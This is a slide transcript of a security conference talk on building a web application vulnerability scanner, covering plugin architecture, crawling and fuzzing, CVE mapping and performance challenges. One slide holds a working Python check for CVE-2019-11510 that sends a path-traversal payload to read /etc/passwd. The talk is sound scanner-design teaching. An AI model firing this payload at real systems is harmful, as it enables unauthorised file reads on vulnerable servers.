SlideShare a Scribd company logo

Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

•
•
Security Bootcamp
Security Bootcamp

This document discusses building a high performance web application vulnerability scanner. It begins with an introduction of the speaker and agenda. It then defines what a WAVS is and why they are needed for both penetration testers and businesses to discover vulnerabilities. The document discusses why building your own WAVS is typically not recommended and reviews common challenges. It proposes an architecture with core and plugin components and discusses approaches like crawling and fuzzing, CPE and CVE mapping, and public exploit testing. Recommendations are provided around programming languages, code design patterns, and challenges like JavaScript crawling, high overhead, false positives, and other considerations.

Internet
1 of 47
Download to read offline
Trung Nguyen Building a high performance Web Application Vulnerability Scanner
› @everping › Founder & CEO at CyStack › Security Researcher, Bug Hunter, Computer Engineer › Discovered critical vulnerabilities and acknowledged by Microsoft, IBM, D-LINK, HP, Delloite Whoami
› What is a WAVS? › Why do we need WAVS? › Architecture and Design › Challenges Agenda
What is a WAVS?
Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as Cross-site scripting, SQL Injection, Command Injection, Path Traversal and insecure server configuration
Why do we need WAVS?
› Discover attack surfaces (URLs, headers, open ports) › Gather information about the target (OS, Web frameworks, built-in technologies, sitemap) › Detect non-business logic vulnerabilities (SQLi, XSS, SSTi) › Detect misconfigurations For pentesters
› Get similar advantages as pentesters get › See an overview of security risks in web applications › Integrate findings into vulnerability management › Save cost against basic security flaws For businesses
Should we create our own WAVS?
NO Except you do it due to educational purposes or clear commercial purposes
› User doesn’t like the way scanner X implements a feature › User has free time › User starts writing his own scanner and usually succeeds in implementing the one feature he really needed › The new web application scanner only works on a small subset of sites, since it doesn’t know how to extract links other than the ones in tags, or can’t handle broken HTML, or is too slow to be used on any site with more than a few hundred pages. › The creator of the new tool maintains it for six months › The project dies when the project lead finds more interesting things to do, finds a tool that did what he needed, changes jobs, etc. The usual timeline
It’s time to build
Security testing in the wild Discovery Vulnerability Analysis Exploitation Follow the tactical exploitation
Security testing in the wild Discovery Vulnerability Analysis Exploitation This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc.
Security testing in the wild Discovery Vulnerability Analysis Exploitation Vulnerability analysis is the process of discovering flaws in systems and applications which can be leveraged by an attacker.
Security testing in the wild Discovery Vulnerability Analysis Exploitation The exploitation focuses solely on establishing access to a system or resource by bypassing security restrictions.
› Scalability: Adding new vulnerability signatures easily › Stability: Taking up less RAM and CPU › Reliability: Finding vulnerabilities with low false positive Requirements
The Flow Subdomain Findercs.com news.cs.com blog.cs.com ... Port Scan https://blog.cs.com:443 ftp://news.cs.com:21 https://news.cs.com:8443 ... Crawling & Fuzzing CPE and CVE Mapping Public exploits Testing Vulnerability synthesis
Architecture Core Plugins Apply the plugin-based architecture Core › Manages the main flow › Coordinates the processes, threads › Provides APIs to resuse by plugins Plugins › Find flaws directly › Get data from the core › Share information gathered for other components/plugins via the core apis
Plugins › Infrastructure: Gather all information about the target such as sitemap, headers, OS, web framework, etc. It runs in a loop which the output of one discovery plugin is sent as input to the next plugin › Subdomain: Find all sub-domains from the root domain › Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing › Attack: Try to exploit by using confirmed finding from audit plugins › Other plugins: Output, mangle, evasion, grep, brute force
Architecture User Discovery Audit Output Knowledge Base
Approaches for audit
Crawling and Fuzzing › The main component is a crawler › The crawler gets the seed URL and finds all possible URLs of the target Seed URL Requester Parse Document HTTP Response URL Queue The URL is not in the queue URL Pack The URL is in the queue? Fuzzable Request
Crawling and Fuzzing Knowledge Base Pack Debugger Raw fuzz data Fuzzable Request Mutant
Crawling and Fuzzing › Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS, etc) › Complex to implement a new plugin › Take high rate of false positives
CPE and CVE mapping › Detect the name and version of all possible technologies, frameworks of the target › Convert findings to CPEs (Common Platform Enumeration) strings › CPE is a structured naming scheme for information technology systems, software, and packages. › Find CVEs map with those CPEs cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:* cpe:/o:linux:linux_kernel:2.6.0
CPE and CVE mapping › Sometimes, converting name and version to CPE format is impossible › Building your own threat intelligence or vulnerability DB is required
Public exploits tesing › As know as blind testing › Run known exploit code with your target. If the response matches the signature, the target is vulnerable › Detecting technologies is not really necessary
Public exploits tesing › Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for specific applications or frameworks › Easy to implement a new plugin › Take low rate of false positives
Public exploits tesing class Cve201911510(AttackPlugin): def __init__(self): super().__init__() self.path = '/dana-na' self.payload = self.generate_payload() def generate_payload(self, file_name=''): if file_name == '': file_name = '/etc/passwd' payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil e_name}?/dana/html5acc/guacamole/' return payload def real_exploit(self, url): resp = self.requester.get(url + self.payload, path_as_is=True) if 'root:x:0' in resp.text: return True return False
Recommendation
Program languages › The main language depends on the environment that the scanner is installed › If the scanner is distributed as a desktop app, it should be written in low-level language to protect against reverse engineering. Python is a bad choice. › If the scanner is delivered as a service, the language is not a problem › The core can be written in any program languages › The plugins should be written in scripting languages such as python, LUA, or even your own language for scalability
Code design › Design pattern is very important if you’d like to scale up the scanner class CoreStrategy(object): def start(self): try: target = self._core.base_target if not target.is_valid(): logger.error('The target is not valid') return if target.get_type() == TYPE_URL: self.discover() self.attack() self.audit() else: self.discover() self.attack() except ScanMustStopException: logger.error('[!] The scan will be finished now') except: logger.error() Strategy Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
Code design › Design pattern is very important if you’d like to scale up the scanner def factory(module_name, *args): """ This function creates an instance of a class that's inside a module with the same name. Example : >> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' ) >> cve_2015_4852.get_name() >> 'CVE-2015-4852' :param module_name: Which plugin do you need? :return: An instance. """ Factory Pattern
Challenges
› The traditional crawler does not work with JS-based website or single page application (Angular, VueJS, React) Javascript crawling
› Available solutions: Using headless browsers to render JS at the client side (Chronium, Firefox, PhantomJS, Splash, etc) › Cons: Those engines take up a lot of computer resources (RAM, CPU) and the rendering speed is slow Javascript crawling
› Scanners normally take a lot of › I/O resources since performing many requests to outside › CPU since it has to be analyzed continuously › RAM since using multi-thread design or forgetting to free unnecessary memory High overhead
› Solutions › Optimize your code › Should use low-level program languages High overhead
https://blog.com/news/stuck-in-vietnam-a-stroke-of-luck-4193869.html URL Rewrite https://blog.com/posts/?id=4193869 A scanner can easily detect GET parameters as But hardly to detect this one
https://blog.com/news/n1.html https://blog.com/news/n2.html https://blog.com/news/n3.html Similarity URLs Below URLs are similarity But a scanner can crawl all of them, which leads to an increase in the time scan
› Many web applications handle requests not in the way we expect (e.g return status code 200 for not found pages) › Delay in connections › The web content includes vulnerability signatures False positives
› Solution: Fix case by case False positives
› Identify the appropriate form field (email, phone, name, city) › Authenticate the target › Crawl and fuzz APIs › Deal with business logic vulnerabilities Others
Thanks ! trungnh@cystack.net @everping

Recommended

Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learning
Security Bootcamp
 
Malware Classification and Analysis
Malware Classification and AnalysisMalware Classification and Analysis
Malware Classification and Analysis
Prashant Chopra
 
Malware classification using Machine Learning
Malware classification using Machine LearningMalware classification using Machine Learning
Malware classification using Machine Learning
Japneet Singh
 
Malware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveMalware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning Perspective
Chong-Kuan Chen
 
Malware Detection using Machine Learning
Malware Detection using Machine Learning Malware Detection using Machine Learning
Malware Detection using Machine Learning
Cysinfo Cyber Security Community
 
Data mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxData mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptx
Aditya Deshmukh
 
Adversarial machine learning for av software
Adversarial machine learning for av softwareAdversarial machine learning for av software
Adversarial machine learning for av software
junseok seo
 
Setup Your Personal Malware Lab
Setup Your Personal Malware LabSetup Your Personal Malware Lab
Setup Your Personal Malware Lab
Digit Oktavianto
 

Recommended

Malware detection-using-machine-learning
Malware detection-using-machine-learningMalware detection-using-machine-learning
Malware detection-using-machine-learning
Security Bootcamp
 
Malware Classification and Analysis
Malware Classification and AnalysisMalware Classification and Analysis
Malware Classification and Analysis
Prashant Chopra
 
Malware classification using Machine Learning
Malware classification using Machine LearningMalware classification using Machine Learning
Malware classification using Machine Learning
Japneet Singh
 
Malware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning PerspectiveMalware Detection - A Machine Learning Perspective
Malware Detection - A Machine Learning Perspective
Chong-Kuan Chen
 
Malware Detection using Machine Learning
Malware Detection using Machine Learning Malware Detection using Machine Learning
Malware Detection using Machine Learning
Cysinfo Cyber Security Community
 
Data mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptxData mining techniques for malware detection.pptx
Data mining techniques for malware detection.pptx
Aditya Deshmukh
 
Adversarial machine learning for av software
Adversarial machine learning for av softwareAdversarial machine learning for av software
Adversarial machine learning for av software
junseok seo
 
Setup Your Personal Malware Lab
Setup Your Personal Malware LabSetup Your Personal Malware Lab
Setup Your Personal Malware Lab
Digit Oktavianto
 
Malware detection
Malware detectionMalware detection
Malware detection
ssuser1eca7d
 
Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning Techniques
ArshadRaja786
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineering
intertelinvestigations
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
EndgameInc
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and Clustering
Ashwini Almad
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware Detection
Kaspersky
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)
ENOInstitute
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection ppt
Manish Yadav
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
Digit Oktavianto
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & Visualization
Raffael Marty
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
Ramin Farajpour Cami
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Lastline, Inc.
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware Classification
John Seymour
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber world
Akash Sarode
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Lastline, Inc.
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...
Priyanka Aash
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)
FFRI, Inc.
 
Another Side of Hacking
Another Side of HackingAnother Side of Hacking
Another Side of Hacking
Satria Ady Pradana
 
Cyber ppt
Cyber pptCyber ppt
Cyber ppt
karthik menon
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
baoyin
 

More Related Content

What's hot

Malware detection
Malware detectionMalware detection
Malware detection
ssuser1eca7d
 
Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning Techniques
ArshadRaja786
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineering
intertelinvestigations
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
EndgameInc
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and Clustering
Ashwini Almad
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware Detection
Kaspersky
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)
ENOInstitute
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection ppt
Manish Yadav
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
Digit Oktavianto
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & Visualization
Raffael Marty
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
Ramin Farajpour Cami
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Lastline, Inc.
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware Classification
John Seymour
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber world
Akash Sarode
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Lastline, Inc.
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...
Priyanka Aash
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)
FFRI, Inc.
 
Another Side of Hacking
Another Side of HackingAnother Side of Hacking
Another Side of Hacking
Satria Ady Pradana
 

What's hot (20)

Malware detection
Malware detectionMalware detection
Malware detection
 
Malware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning TechniquesMalware Detection Using Machine Learning Techniques
Malware Detection Using Machine Learning Techniques
 
Introduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse EngineeringIntroduction to Malware Detection and Reverse Engineering
Introduction to Malware Detection and Reverse Engineering
 
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
Vulnerability and Exploit Trends: Combining behavioral analysis and OS defens...
 
Machine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and ClusteringMachine Learning for Malware Classification and Clustering
Machine Learning for Malware Classification and Clustering
 
Machine Learning in Malware Detection
Machine Learning in Malware DetectionMachine Learning in Malware Detection
Machine Learning in Malware Detection
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
 
Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)Cyber Threat Hunting Training (CCTHP)
Cyber Threat Hunting Training (CCTHP)
 
Semantics aware malware detection ppt
Semantics aware malware detection pptSemantics aware malware detection ppt
Semantics aware malware detection ppt
 
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting ProgramIDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
IDSECCONF 2020 : A Tale Story of Building and Maturing Threat Hunting Program
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and DefenseNext Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
 
Creating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & VisualizationCreating Your Own Threat Intel Through Hunting & Visualization
Creating Your Own Threat Intel Through Hunting & Visualization
 
Malware Analysis
Malware AnalysisMalware Analysis
Malware Analysis
 
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015 Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
Most Ransomware Isn’t As Complex As You Might Think – Black Hat 2015
 
An Introduction to Malware Classification
An Introduction to Malware ClassificationAn Introduction to Malware Classification
An Introduction to Malware Classification
 
Threat hunting in cyber world
Threat hunting in cyber worldThreat hunting in cyber world
Threat hunting in cyber world
 
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
Now you see me, now you don't: chasing evasive malware - Giovanni Vigna
 
AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...AI approach to malware similarity analysis: Maping the malware genome with a...
AI approach to malware similarity analysis: Maping the malware genome with a...
 
Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)Fighting advanced malware using machine learning (English)
Fighting advanced malware using machine learning (English)
 
Another Side of Hacking
Another Side of HackingAnother Side of Hacking
Another Side of Hacking
 

Similar to Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

Cyber ppt
Cyber pptCyber ppt
Cyber ppt
karthik menon
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
baoyin
 
Using Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security ProblemsUsing Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security Problems
kiansahafi
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptx
Anurag Srivastava
 
Shift Left Security
Shift Left SecurityShift Left Security
Shift Left Security
gjdevos
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
FernandoVizer
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an..."Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
SegInfo
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guide
Sudhanshu Chauhan
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
MrityunjayaHikkalgut1
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
Daniel Owens
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2
ssuser18349f1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
nmk42194
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
karthikvcyber
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chance
Dr. Anish Cheriyan (PhD)
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
NetSPI
 

Similar to Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view (20)

Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
 
Using Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security ProblemsUsing Analyzers to Resolve Security Problems
Using Analyzers to Resolve Security Problems
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptx
 
Shift Left Security
Shift Left SecurityShift Left Security
Shift Left Security
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
 
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an..."Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
"Automated Malware Analysis" de Gabriel Negreira Barbosa, Malware Research an...
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guide
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chance
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
 

More from Security Bootcamp

Ransomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdf
Security Bootcamp
 
Hieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurityHieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurity
Security Bootcamp
 
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe moSbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
Security Bootcamp
 
Deception change-the-game
Deception change-the-gameDeception change-the-game
Deception change-the-game
Security Bootcamp
 
Giam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdrGiam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdr
Security Bootcamp
 
Sbc2019 luong-cyber startup
Sbc2019 luong-cyber startupSbc2019 luong-cyber startup
Sbc2019 luong-cyber startup
Security Bootcamp
 
Insider threat-what-us-do d-want
Insider threat-what-us-do d-wantInsider threat-what-us-do d-want
Insider threat-what-us-do d-want
Security Bootcamp
 
Macro malware common techniques - public
Macro malware common techniques - publicMacro malware common techniques - public
Macro malware common techniques - public
Security Bootcamp
 
Tim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cuTim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cu
Security Bootcamp
 
Threat detection with 0 cost
Threat detection with 0 costThreat detection with 0 cost
Threat detection with 0 cost
Security Bootcamp
 
Build SOC
Build SOC Build SOC
Build SOC
Security Bootcamp
 
AD red vs blue
AD red vs blueAD red vs blue
AD red vs blue
Security Bootcamp
 
Securitybox
SecurityboxSecuritybox
Securitybox
Security Bootcamp
 
